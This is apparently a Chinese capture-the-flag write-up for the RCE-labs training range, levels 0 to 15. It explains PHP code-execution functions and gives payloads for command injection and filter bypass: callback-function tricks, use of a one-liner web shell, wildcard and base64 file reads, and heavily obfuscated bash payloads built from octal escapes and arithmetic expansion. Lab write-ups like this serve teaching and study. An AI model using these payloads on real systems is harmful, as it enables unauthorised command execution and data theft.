RCE-LABS
level-0
打开环境

这关flag是直接显示在界面上,这一关主要是探姬介绍一下这个东西
我们来分析一波这个代码
前面还有一小段是
<?php include ("get_flag.php");

包含了一个文件get_flag.php
然后定义了一个code变量
变量里面是一串字符串包含flag.php这个文件后面是输出flag这个变量
\是保证转义防止变量定义失败
定义了一个bash变量输出linux的指令
eval()将其中代码当作php运行
system()是shell命令的运行函数
大概就是这样,直接交flag了
level-1
方法一
打开环境

这里通过post请求发送了一个参数a并且将其当作php代码处理
这里直接cat就可以了
上面有告诉我们flag所在位置

直接传参

查看源码得到flag

好家伙是错的flag
那就用ls指令看下什么情况


再看下上一级目录

也是看见flag了,直接cat

方法二
这里这个语句其实也是一句话木马
可以直接使用蚁剑连接

直接进去找到flag


level-2
打开环境
这里需要分析一大串代码
这里先把代码复制过来,截图不是很好看
<?php
include ("get_flag.php");
global $flag;
session_start(); // 开启 session
/*
# -- coding: utf-8 --
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : PHP代码执行函数 ---
除开在一句话木马中最受欢迎用以直接执行PHP代码的 eval() 函数,PHP还有许多 回调函数 也可以直接或者间接的执行PHP代码。
在该关卡中,你将会从能够执行代码的PHP函数中抽取一个,你需要填充函数的内容来执行某些代码以获取flag(tip:flag存储在 $flag 中,当然你也可以尝试其他方法)。
*/
function hello_ctf($function, $content){
global $flag;
$code = $function . "(" . $content . ");";
echo "Your Code: $code
";
eval($code);
}
function get_fun(){
$func_list = ['eval','assert','call_user_func','create_function','array_map','call_user_func_array','usort','array_filter','array_reduce','preg_replace'];
if (!isset($_SESSION['random_func'])) {
$_SESSION['random_func'] = $func_list[array_rand($func_list)];
}
$random_func = $_SESSION['random_func'];
$url_fucn = preg_replace('/_/', '-', $_SESSION['random_func']);
echo "获得新的函数: $random_func ,去 https://www.php.net/manual/zh/function.".$url_fucn.".php 查看函数详情。
";
return $_SESSION['random_func'];
}
function start($act){
$random_func = get_fun();
if($act == "r"){ /* 通过发送GET ?action=r 的方式可以重置当前选中的函数 —— 或者你可以自己想办法可控它x */
session_unset();
session_destroy();
}
if ($act == "submit"){
$user_content = $_POST['content'];
hello_ctf($random_func, $user_content);
}
}
isset($_GET['action']) ? start($_GET['action']) : '';
highlight_file(FILE);
?>
首先包含一个get_flag.php文件
然后规定了一个全局变量$flag
接着定义了一个hello_ctf的函数,有两个变量
先突破函数作用域限制,让其函数内部的$flag关联到全局变量
将两个变量的值拼接然后传入$code变量里
最后再使用eval函数将变量code当作php代码执行
然后定义了一个get_func函数
定义了一个func列表
这个就是一个随机的函数调用
再定义了一个start函数
后面又解释这里就不再阐述
下面是输入submit就可以得到调用的函数

调用的是array_reduce函数
这个函数好像没见过,去搜一下看看
array_reduce(array $array, callable $callback [, mixed $initial = NULL ])
第一个是数组,第二个是回调函数,后面的是可以选择初始值
这里来构建一个payload
直接使用print_r来输出变量

这里有点疑惑,但不知道认知的对不对,这里的初始值就是$flag,因为我这里数组是空的,如果没有初始值的话会返回null
但是这里直接返回了flag,有点困惑,看了下应该是这样,但不知道为什么要这样

这里是一些官方的wp
函数
说明
示例代码
${}
用于复杂的变量解析,通常在字符串内用来解析变量或表达式。可以配合 eval 或其他动态执行代码的功能,用于间接执行代码。
eval('${flag}');
eval()
用于执行一个字符串作为 PHP 代码。可以执行任何有效的 PHP 代码片段。没有返回值,除非在执行的代码中明确返回。
eval('echo $flag;');
assert()
测试表达式是否为真。PHP 8.0.0 之前,如果 assertion 是字符串,将解释为 PHP 代码并通过 eval() 执行。PHP 8.0.0 后移除该功能。
assert(print_r($flag));
call_user_func()
用于调用回调函数,可以传递多个参数给回调函数,返回回调函数的返回值。适用于动态函数调用。
call_user_func('print_r', $flag);
create_function()
创建匿名函数,接受两个字符串参数:参数列表和函数体。返回一个匿名函数的引用。自 PHP 7.2.0 起被_废弃_,并自 PHP 8.0.0 起被_移除_。
create_function('$a', 'echo $flag;')($a);
array_map()
将回调函数应用于数组的每个元素,返回一个新数组。适用于转换或处理数组元素。
array_map(print_r($flag), $a);
call_user_func_array()
调用回调函数,并将参数作为数组传递。适用于动态参数数量的函数调用。
call_user_func_array(print_r($flag), array());
usort()
对数组进行自定义排序,接受数组和比较函数作为参数。适用于根据用户定义的规则排序数组元素。
usort($a,print_r($flag));
array_filter()
过滤数组元素,如果提供回调函数,仅包含回调返回真值的元素;否则,移除所有等同于false的元素。适用于基于条件移除数组中的元素。
array_filter($a,print_r($flag));
array_reduce()
迭代一个数组,通过回调函数将数组的元素逐一减少到单一值。接受数组、回调函数和可选的初始值。
array_reduce($a,print_r($flag));
preg_replace()
执行正则表达式的搜索和替换。可以是单个字符串或数组。适用于基于模式匹配修改文本内容。依赖 /e 模式,该模式自 PHP7.3 起被取消。
preg_replace('/(.*)/ei', 'strtolower("\\1")', ${print_r($flag)});
ob_start()
ob_start — 打开输出控制缓冲,可选回调函数作为参数来处理缓冲区内容。
ob_start(print_r($flag));
level-3
打开环境

是一个非常简单的php代码
这里用post传参传了一个a进去然后调用了system函数
这里可以直接执行命令
先找一下flag


直接cat就可以了

level-4
打开环境

也是一个简单的php代码
看样子是一个命令注入
这里是使用get传参之后调用hello_server函数,进行ping
我们直接构造payload找一下flag

直接cat

level-5
打开环境

这里看来是一些绕过的学习,看一看
这里尝试下下面三个没用过的过滤

绕过一下看看
这个是[]这个是匹配一个集合里的所有字符

[^]绕过这个相当于补集,取反绕过

emmmm{}这个没有试验出来
level-6
打开环境

又是一个绕过
但是这过滤的死的有点过分了
这里没有过滤通配符号?
但是这里需要了解一个东西?只能用来匹配路劲,不能用来匹配命令
但是cat实际上也就是一个程序,所有我们只需要去找到cat所在的位置就可以了
可以去kali里找一找
一般实在/bin文件里面
进去里面使用通配符看一下这一串匹配哪些东西

匹配的东西有点多了
这里可以再找找有些什么可以替代cat的命令
这里使用下官方的wp
命令
描述
cat
从第一行开始显示内容,并将所有内容输出
tac
从最后一行倒序显示内容,并将所有内容输出
more
根据窗口大小,一页一页地显示文件内容
less
根据窗口大小,显示文件内容,可以使用键盘上的 [Pg Dn] 和 [Pg Up] 翻页
head
用于显示文件的头几行
tail
用于显示文件的尾几行
nl
类似于 cat -n,显示时输出行号
tailf
类似于 tail -f,实时显示文件尾部内容
sort
读取并排序文件内容
od
以二进制的方式读取文件内容
vi
一种编辑器,能查看文件内容
vim
一种编辑器,能查看文件内容
uniq
过滤重复行,能查看文件内容
file -f
显示文件类型信息,若出错会报告具体内容
这里里面包含a的还有tailf,head,tac但是tac不能用
匹配一下其它两个看看

也是没看见tailf这个命令只有tail -f
head也是没有
这里去看了眼wp发现可以使用base64来输出

这里加上数字匹配也是只有base64
base64使用方式直接base64加文件就可以了
这里构造payload

解码一下

level-7
打开环境

看来这里是空格过滤专场,还有一个关键字绕过
直接绕过就可以了

level-8
打开环境

这里看来是一个无回显rce还告诉了我们原理
就是我们运行命令后的输出,并未在标准输出返回,而是被重定向到了/dev/null里
在/dev/null的文件,也就是空设备会被直接丢弃掉
这里解释一下stdout和stderr
stdout是正常输出文件描述符1,比如我们执行的命令结果
stderr是报错输出文件描述符2,就是一些运行的错误信息
所以为什么加上2>&1就无法回显报错信息
因为将报错信息重定向到·正常输出中,然后又定向到空设备丢弃,就形成了无回显
这里可以使用;将后面的重定向给截断
这里需要了解一个问题>重定向符号需要联合其它命令来一起使用
这里加上;相当于cat /flag;>dev/null后面就相当于是执行一个空命令然后输入到/dev/null里
所有可以截断
构造payload

level-9
打开环境

这里是把字母还有一堆符号给过滤了,题目也提示说要通过八进制转义
这里使用工具来将我们的ASCLL字符变成八进制
ls

这里直接传进去

再看一下上级目录

57是\的八进制
直接去cat,一样的进行八进制转义就ok了

level-10
打开环境

可以看见这里过滤一堆东西
字母大小写,数字过滤了2-9还有一堆符号
这里题目也提示说要使用二进制
题目提示说使用$((2#binary))可以把二进制转换为十进制
这里先来看看这串符号是什么意思
$(( ))这是bash的一个算术展开语法
中间前面是进制后面是二进制的数字
最后得到的计算结果是十进制的
对于2的绕过可以用1向左移一位然后就是2了
这里解释一下移位就是将一个数字变成二进制然后移动
00000001是1的二进制左移一位右边补0得到00000010这个就是2
然后再使用八进制转义来得到命令
构造ls的pyload
$0<<<$'\$(($((1<<1))#10011010))\$(($((1<<1))#10100011))'
记得url编码一下,这个可以直接用脚本生成,这里主要是理解一下<<<这个符号
相当于是将后面的字符串传入$0中当作命令执行,$0表示当前的一个shell的名称
这里在虚拟机里演示一下,脚本里生成的还有一个
脚本在靶场里面有告诉
$0<<<$0<<<$'\$(($((1<<1))#10011010))\$(($((1<<1))#10100011))'
其实是一样的

这里后面那一串是被当作字符串输出出来
再加上前面的就可以执行命令了

执行的就是一个ls命令

直接执行

查看上一级目录
%240%3c%3c%3c%240%5c%3c%5c%3c%5c%3c%5c%24%5c%27%5c%5c%24((%24((1%3c%3c1))%2310011010))%5c%5c%24((%24((1%3c%3c1))%2310100011))%5c%5c%24((%24((1%3c%3c1))%23101000))%5c%5c%24((%24((1%3c%3c1))%23111001))%5c%27

直接去cat
%240%3c%3c%3c%240%5c%3c%5c%3c%5c%3c%5c%24%5c%27%5c%5c%24((%24((1%3c%3c1))%2310001111))%5c%5c%24((%24((1%3c%3c1))%2310001101))%5c%5c%24((%24((1%3c%3c1))%2310100100))%5c%5c%24((%24((1%3c%3c1))%23101000))%5c%5c%24((%24((1%3c%3c1))%23111001))%5c%5c%24((%24((1%3c%3c1))%2310010010))%5c%5c%24((%24((1%3c%3c1))%2310011010))%5c%5c%24((%24((1%3c%3c1))%2310001101))%5c%5c%24((%24((1%3c%3c1))%2310010011))%5c%27

level-11
打开环境

这里也是一样的直接使用脚本来绕过
这里可以看见1是被过滤了
可以使用{##}来替代1的位置
去看看为什么
${##}是${#*#}的简写
这里拆分做两个来看
$#这个是匹配一个脚本或者函数里的参数的多少
如果没有参数默认为0
第二个#这个是一个模式匹配符,用来计算变量值的字符串长度
如过参数有3个就是$#=3字符串长度就是1
如果是0字符串长度也是1
所有可以使用${##}绕过1
这里也是直接使用脚本生成
$0<<<$0<<<$'\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\$(($((${##}<<${##}))#${##}0${##}000${##}${##}))'
然后使用post传参就不用url编码了

看上一级目录
$0<<<$0<<<$'\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\$(($((${##}<<${##}))#${##}0${##}000${##}${##}))\$(($((${##}<<${##}))#${##}0${##}000))\$(($((${##}<<${##}))#${##}${##}${##}00${##}))'

直接cat

level-12
打开环境

这里也是可以看见数字字母啥的一个都没有了
这里也是可以直接使用脚本
这里直接查看上一级目录了
${!#}<<<${!#}<<<$'\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}${##}${##}))\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}))\$(($((${##}<<${##}))#${##}${##}${##}${#}${#}${##}))'
但是我们需要知道这是怎么一回事
这里使用到一个新东西${!xxxx}
这个是一个简介扩展,简单说就是可以通过一个变量访问到这个变量的值
这里简单写一个bash脚本看一下

这里设置a的变量值为0
然后使用简介扩展来输出这个变量的值
运行看一下

这里就是把b的值当作变量名
所有可以构造${!#}就是$0
因为$#是参数个数没有就是0

直接cat
${!#}<<<${!#}<<<$'\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${##}${##}))\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}))\$(($((${##}<<${##}))#${##}${##}${##}${#}${#}${##}))\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${#}))\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${##}))'

level-13
打开环境

这里一样可以使用脚本来做
=$(())&&${!}<<<${!__}<<<$'\$(($(($(($(())))$(($(())))))))$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))))))$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))))))\$(($(($(($(())))$(($(())))))))$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))))))$(($(($(($(())))$(($(())))$(($(())))$(($(())))))))\$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))))))$(())\$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))))))$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))))))'
记得使用url编码一下

这里也告诉我们绕过方法了,先去了解一下取反的本质
取反就是把一个数的二进制0变成1,1变成0
再在前面加一个负号
比如0的二进制00000000变成11111111
这个是一个补码
这里再了解一下补码,正数补码就是直接加0
0的补码直接定义为全0在8位补码里就是00000000
负数的补码是它对应的正数的取反加1
~1=11111110
+1
11111111就是-1的补码
最后得到的就是-1
这里来一个数学本质上的取反
~x=-x-1
这里用kali演示一下,$(())就是0

那么要构造1
我们就可以构造出来-2然后再取反就是1

这里会直接识别为-1-1就是-2
再取反

其它的也是一样的构造方法,这里就不演示了
这里还需要定义一个__变量为0为了构造出来$0
本质和上一题是一样的
直接使用脚本

直接cat
=$(())&&${!}<<<${!__}<<<$'\$(($(($(($(())))$(($(())))))))$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))))))$(($(($(($(())))$(($(())))$(($(())))$(($(())))))))\$(($(($(($(())))$(($(())))))))$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))))))$(($(($(($(())))$(($(())))))))\$(($(($(($(())))$(($(())))))))$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))))))$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))))))\$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))))))$(())\$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))))))$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))))))\$(($(($(($(())))$(($(())))))))$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))))))$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))))))\$(($(($(($(())))$(($(())))))))$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))))))$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))))))\$(($(($(($(())))$(($(())))))))$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))))))$(($(($(($(())))$(($(())))))))\$(($(($(($(())))$(($(())))))))$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))))))$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))))))'
编码一下

level-14
打开环境

就俩单词说太长了
题目提示说是7字符的rce
有点坑,这里没有显示出参数来
虽然好像是有无参数的rce但是这题是有参数的,是去看人家的wp才发现有个参数1

这里通过strlen函数来检查我们传入的参数的长度,这里是不能超过7字符
可以直接使用通配符来压缩
cat /f*

刚刚好7个
level-15
打开环境

这个代码变复杂了一点
先读一下
定义了一个sandbox变量是/www/sandbox/拼接上md5加密(orange加用户ip)
然后根据上面的用户ip那一串创建一个文件夹
然后进去这个文件夹
上传一个参数cmd限制长度为5
然后使用exec函数执行这个命令,但是我们知道exec这个函数执行是相当于没有回显的只会回显最后一行
而如果传参数reset就删除文件夹
简单来说就是一个用户一个文件夹,保持独立以免相互影响
这里需要先来了解一点linux的指令
首先两个重定向符号
>会覆盖原有的内容,如果不存在这个文件会先创造文件
>>会加在原有的内容后面
通配符号
*当直接输入这个东西的时候,会把第一个文件名字当作指令,后面的当作参数处理
列目录
ls会自动换行可能导致命令出错
dir不会自动换行,还会自动补齐空格
这里先随便弄一点文件进去
再传入dir

然后按照时间排序全部传入0然后再执行命令

浙公网安备 33010602011771号